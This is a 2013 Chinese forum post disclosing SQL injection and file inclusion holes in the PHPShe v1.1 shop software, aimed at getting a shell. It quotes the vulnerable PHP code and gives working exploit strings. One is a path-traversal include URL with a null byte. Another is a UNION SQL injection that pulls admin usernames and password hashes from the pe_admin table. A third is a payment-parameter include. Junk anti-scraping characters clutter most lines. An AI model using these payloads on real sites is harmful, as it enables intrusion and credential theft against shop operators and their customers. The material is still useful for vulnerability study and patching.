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phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/& t5 \  t5 r4 }9 U5 p/ [3 D
/* Phpshe v1.1 Vulnerability/ H6 V9 j* J# i" }
/* ========================
( Q' U1 c1 ^: Z. G) T/* By: : Kn1f3
% A( _8 p6 X' [& W3 R/* E-Mail : 681796@qq.com
3 [3 Q9 I5 _# d7 R/*******************************************************/( g! A2 t: ^3 U' f, U; {/ D
0×00 整体大概参数传输! L; m5 s2 \; ^5 W2 [* r# E2 N
& i* @) Z# N& \! ^: [" H# ]
* e4 G1 @& f4 v$ d6 P  u
# t0 A7 H: t6 {/ Y
//common.php0 u4 a/ l% B0 B9 V4 e; J5 _  K; W* G
if (get_magic_quotes_gpc()) {
# Q7 ~7 G% l0 @8 l4 J!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
1 ~. }8 S( c/ d* c1 p3 E!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');: r3 c& Q$ i( n! R9 k
}
9 }6 s! y, R: z' j$ J2 B( A1 Oelse {
6 y2 E  K- e/ x7 Q!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');2 ^1 R6 y! @: T- h# N) q
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');9 M2 |& j5 G  w+ i9 H
}6 U: W( r7 F. Y- @( }1 L
session_start();2 u. p- Z; E& }# E
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 C: ]+ d. ^# ~/ V!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');& _) b$ z7 _4 x0 d% b1 t
9 W8 I' M8 y# u. i. O* _, N! {' t) o
0×01 包含漏洞
$ D0 V+ C( i+ `7 g3 h% Z& O0 n5 H- Y " i2 J# G) k' F
; }* K; g% P8 n
//首页文件
( P% f( i) F, c0 d5 ^<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
' y$ U3 Y# I! C: G" xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% n0 b% W: S8 \7 @+ w8 i; d# `+ cpe_result();9 b8 F! r$ n- {: h. v, k
?>6 [  i9 B3 l3 Q$ l
//common 文件 第15行开始
+ N# B5 [0 I1 A; B5 R' a+ zurl路由配置8 w. g3 g; B; j; ^6 g; g8 x
$module = $mod = $act = 'index';
8 r6 `4 V5 S6 Q' T% k3 }3 F$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: H1 q" x. c$ N$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);+ q: i) h9 ?  j) B" [
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& J% `$ k# ?, d" i+ o9 L//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- m2 A& ], P9 e- i( ?1 f


' s2 G0 x6 C+ B( C
0 \7 c0 t0 o! h 0×02 搜索注入2 p9 o6 J( N7 _6 j. E, v
* k0 x) [( {. V+ y- k) B, Y
<code id="code2">

//product.php文件, h. y0 Q+ |6 `9 J
case 'list':" r1 N- w" q6 m7 W9 a
$category_id = intval($id);+ o0 W1 _2 q' ?7 s
$info = $db->pe_select('category', array('category_id'=>$category_id));
3 g' z: B% f# I' r8 g9 Q//搜索- ]0 u4 T8 {  i6 H
$sqlwhere = " and `product_state` = 1";: D8 [# Q7 K5 V* p
pe_lead('hook/category.hook.php');9 N" @* f/ ]3 O, W" Q: \
if ($category_id) {* D& h! H# F" s) B' Q2 \
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";/ I4 T7 a, S2 y9 d
}' b6 a, R; Q$ N7 n  W4 ]
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤; F& P. Q- K# X8 t
if ($_g_orderby) {9 d' [7 @. P: I/ g1 Q
$orderby = explode('_', $_g_orderby);- C- \! m: `2 m) W* P5 c
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
/ I  ?& a" ?  t) V% U5 G' M4 T/ ]}+ Y* h# L1 j* R0 o" H$ p2 L
else {+ U3 q8 L" l9 R0 r& e: K( H* r
$sqlwhere .= " order by `product_id` desc";2 C) ]9 [2 n) P2 Y% r1 A
}
8 A& g# n' |3 O# N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
8 ]" a9 \" k  v* X: G- W1 R/ A6 C//热卖排行0 {: J% T6 X$ A7 ~" O: ?
$product_hotlist = product_hotlist();4 ~( j4 P) V# H
//当前路径5 }2 x/ L- H; c$ K- U5 {- D
$nowpath = category_path($category_id);) J2 w* G" w0 t2 G6 m' V9 k/ V( R4 H
$seo = pe_seo($info['category_name']);* f9 ^& o3 \& _) K2 [# f
include(pe_tpl('product_list.html'));- w4 P+ U5 Z5 s3 V
//跟进selectall函数库' u9 R! n( m  L& b; S/ n& T
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
  V$ ?' J- u7 z/ }{
7 z% ]$ x0 n: u! ~//处理条件语句& r9 M& y2 n' O+ q2 v( P. S' D* z
$sqlwhere = $this->_dowhere($where);
& k* ^* }4 I2 X* n, n- l7 P- Breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);5 w% D) L$ u( O5 Q' k; s$ O
}; s6 Y- \3 P& y- F* a* O* _! _
//exp- M& W3 g; r$ _* t. E; L
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='17 n! |# C9 X( w4 s

</code>
0 W5 M: @' z* H2 T6 Q' k# t* A   s: `- A# l, A4 N6 l3 x
0×03 包含漏洞2# u) y) ^' ~. D! n# ^- K4 j
& o0 f' Q$ W2 P# g/ S/ S
<code id="code3">

//order.php

case 'pay':

' _7 h/ U8 P+ V6 W+ K" J
$order_id = pe_dbhold($_g_id);


- k8 |- ^9 p* X8 x& n% m8 o9 Y; o0 \$cache_payway = cache::get('payway');


/ B$ S0 Y" t$ {% n8 ~; J, _foreach($cache_payway as $k => $v) {


, L( y+ G  u) q0 v3 F# t+ f7 g9 O$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


9 c2 {% F+ d$ b9 n' B' eif ($k == 'bank') {

9 J9 t( i' J/ D
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% _' G, V+ l6 w
}

2 }9 l# n- E' w/ f) B* W+ i
}


1 h" k  a# l( g- z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 ?' p! v9 I' Y$ A6 i
!$order['order_id'] && pe_error('订单号错误...');


  O1 m8 E5 U+ Q7 V8 K- bif (isset($_p_pesubmit)) {


" M% M6 q" M/ t* mif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

* c0 z3 T( x- s# T) m% M
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' l0 b) h1 D  K1 e; }
foreach ($info_list as $v) {

( p6 s0 {- s& P
$order['order_name'] .= "{$v['product_name']};";- O1 V$ }8 A! w7 h

& B( [( R& w2 N3 n+ h; S
}

* Q% {" p- p5 R! |+ o9 l  y& B& [
echo '正在为您连接支付网站,请稍后...';


8 {! }/ }6 A# g0 i* Rinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; y0 C- u9 ^7 f( g
}//当一切准备好的时候就可以进行"鸡肋包含了"


% G# b1 N& X& \+ W. ^& p6 [else {


1 B3 Q8 R) k% S1 [0 ^5 ^pe_error('支付错误...');


' W# b5 S5 p6 j8 ^( D}

' N% d* K; x( A2 N
}


0 O/ Q3 S  u$ O4 u+ \% j3 O$seo = pe_seo('选择支付方式');


5 e  i! c' L2 Linclude(pe_tpl('order_pay.html'));


8 J& k$ S2 U# Y) tbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>1 S- e6 H, u' z+ {

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